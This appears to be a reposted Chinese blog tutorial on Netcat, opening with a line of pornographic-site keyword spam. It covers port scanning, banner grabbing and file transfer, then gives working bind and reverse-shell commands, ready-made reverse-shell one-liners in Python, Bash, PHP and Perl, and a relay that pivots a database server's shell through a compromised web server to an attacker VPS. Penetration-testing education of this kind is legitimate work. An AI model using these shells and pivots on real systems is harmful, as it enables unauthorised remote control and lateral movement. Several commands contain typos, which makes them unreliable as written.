日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

Netcat工具的玩法

發布時間:2023/12/14 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Netcat工具的玩法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


前言
之所以叫Netcat,是因為它是在網絡上的cat,cat的功能是讀取一個文件的內容并輸出到屏幕前,netcat也是如此,從網絡的一端讀取數據,輸出到網絡的另一端(可以使用TCP和UDP協議)

文章目錄

  • 一、安裝
  • 二、命令查詢
  • 三、Banner 抓取
  • 四、連接遠程主機
  • 五、端口掃描
  • 六、端口監聽
  • 七、文件傳輸
  • 八、簡易聊天
  • 九、獲取 Shell
  • 十、在目標主機中沒有nc時獲取反向Shell
  • 十一、內網代理

一、安裝

在Kali Linux中,可以使用"nc-help"或者"man nc"命令查看是否已經安裝了nc,如果沒有安裝,則執行如下命令進行安裝

sudo yum install nc.x86_64

也可以先使用wget命令下載安裝包,再進行安裝,具體如下
下載地址見 http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download

wget <下載地址> -0 netcat-0.7.1.tar.gz tar axvs netcat-0.7.1.tar.gz cd netcat-0.7.1 ./contigure make

編譯完成,就會生成 nc 可以執行的文件了,該文件位于 src 目錄下,執行"cd"命令,運行/neteat 文件,就可以找到nc了;

在Windows 中需要使用 Windows 版本的 nc,在禁用-e遠程執行選項的情況下編譯的版本,列舉如下
nc:見https://joncraton.org/files/nc111nt.zip

二、命令查詢

nc的功能很多,可以輸人"nc -h"命令進行查詢

-d:后臺模式 -e:程序重定向 -g<網關>:設置路由器躍程通信網關,最多可設置8-G<指向器數目>:設置源路由指向器的數量,值為4的倍數 -h:在線幫助 -i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通信端口 -l:使用監聽模式,管理和控制傳人的數據 -n:直接使用IP地址(不通過域名服務器) -o<輸出文件>:指定文件名稱,把往來傳輸的數據轉換為十六進制字節碼后保存在該文件中 -p<通信端口>:設置本地主機使用的通信端口 -r:隨機指定本地與遠程主機的通信端口 -s<源地址>;設置本地主機送出數據包的IP地址 -u:使用 UDP 傳輸協議 -v:詳細輸出 -w<超時秒數>:設置等待連線的時間 -z:將輸人/輸出功能關閉,只在掃描通信端口時使用

三、Banner 抓取

服務的Banner 信息能夠為系統管理員提供當前網絡中的系統信息和所運行服務的情況,服務的Banner 信息不僅包含正在運行的服務類型,還包含服務的版本信息,Banner抓取是一種在開放端口上檢索關于特定服務信息的技術,在滲透測試中用于漏洞的評估。
執行如下命令

nc -nv 192.168.123.103 21

從抓取的Banner信息中可以得知,目前目標主機的21端口上運行了vsFTPd服務,版本號為2.3.4

rooteKali-Linux:- nc -nv 192.168.123.103 21 Ncat:Version 7.70(https://nmap.org/ncat) Ncat: Connected to 192.168.123.103:21. 220(vsFTPd2.3.4)

四、連接遠程主機

執行如下命令,連接遠程主機

nc -nvv 192.168.53.128 445

五、端口掃描

執行如下命令,掃描指定主機的端口

nc -v 192.168.53.128 445


執行如下命令,掃描指定主機的某個端口段(掃描速度很慢)

nc -v -z 192.168.53.128 1-1000

六、端口監聽

執行如下命令,監聽本地端口,當訪問該端口時會輸出該信息到命令行

nc -l -p 9999

七、文件傳輸

在A主機中輸入如下命令,開始監聽,等待連接,一旦連接建立,數據便會流入

nc -lp 333 > 1.txt

在B主機中輸入如下命令,與A主機的333端口建立連接,并傳輸一個名為test.txt的文本文件

nc -vn 192.168.1.4 333 < test.txt -q l

傳輸完成,在在A主機中打開1.txt文件,就可以看到test.txt的數據已經傳送過來了

八、簡易聊天

在A主機中輸入如下命令,開始監聽

nc -l - p 888

在主機B中輸入如下命令,就可以開始聊天了

nc -vn <A的IP地址> 888

九、獲取 Shell

Shell 分為兩種,一種是正向 Shell,另一種是反向 Shell,如果客戶端連接服務器,客戶端想要獲取服務器的Shell,就稱為正向Shell;如果客戶端連接服務器,服務器想要獲取客戶端的Shell,就稱為反向 Shell。

反向Shell 通常用在開啟了防護措施的目標機器上,例如防火墻過濾、端口轉發等
注:如下的A主機為客戶端,B主機為服務端

(1)正向 Shell
在B主機輸入如下命令,監聽B主機的 4444 端口

nc -lvp 4444 -e /bin/sh //Linux nc -lvp 4444 -e c:\windows\system32\cmd.exe //Windows

在A主機上輸人如下命令,A主機上連接B主機的 4444 端口

nc <B主機IP> 4444

(2)反向 Shell
A主機執行如下命令,在A主機上監聽本地 9999 端口

nc -lvp 9999

在B主機中執行如下命令,連接A主機的9999端口

nc <A主機IP> 9999 -e /bin/sh //Linux ne <A主機IP> 9999 -e c:\windows\system32\cmd.exe //Windows

然后就可以在A主機上看到連接了

十、在目標主機中沒有nc時獲取反向Shell

在一般情況下,目標主機中是沒有nc的,此時,可以使用其他工具和編程語言來代替nc,實現反向連接,下面介紹幾種常見的反向 Shell

(1)Python 反向 Shell
A主機執行如下命令,監聽本地 2222 端口

nc -lvp 2222

在目標主機(B)上執行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在目標主機(B)上執行反彈命令

(2)Bash 反向 Shell
在A主機執行如下命令,監聽本地 4444 端口

nc -lvp 4444

在目標主機(B)上執行如下命令

bash -i >& /dev/tcp/<A主機IP>/4444 0>&1

執行反彈命令

(3)PHP 反向Shell
在A主機執行如下命令,監聽本地 2222 端口

nc -lvp 2222

PHP常用在Web 服務器上,它是nc、Perl和Bash的一個很好的替代品,執行如下命令,實現PHP環境下的反彈Shell

php -r '$sock=fsockopen("<A主機IP>",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

建立連接

(4)Perl 反向 Shell
在A主機執行如下命令,監聽本地 2222 端口

nc -lvp 2222

如果此時目標主機使用的是Perl 語言,可以使用Perl 來建立反向 Shell
在目標主機(B)上運行如下命令,會發現主機A已經與目標主機(B)建立了連接

perl -e 'use Socket;$i="<A主機IP>";$p=2222;socket(S,PE_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

十一、內網代理

如圖所示,測試環境為:攻擊者 VPS(Kali Linux):一個小型內網;三臺服務器。假設已經獲取了Web 服務器的權限,通過 Kali Linux機器不能訪問數據庫服務器(Linux),但通過 Web 服務器可以訪問數據庫服務器(Linux),測試目標為:獲取數據庫服務器(Linux)的Shell

首先,在 VPS 中輸人執行如下命令,監聽 3333 端口

nc -lvp 3333

接著,在數據庫服務器(Linux)上執行如下命令

nc -lvp 3333 -e /bin/sh

最后,在Web服務器(邊界服務器)上執行如下命令

nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"

在輸人的時候一定要注意,引號都是英文格式的;
回到 VPS 主機中,與數據庫服務器建立了連接!!

總結

以上是生活随笔為你收集整理的Netcat工具的玩法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。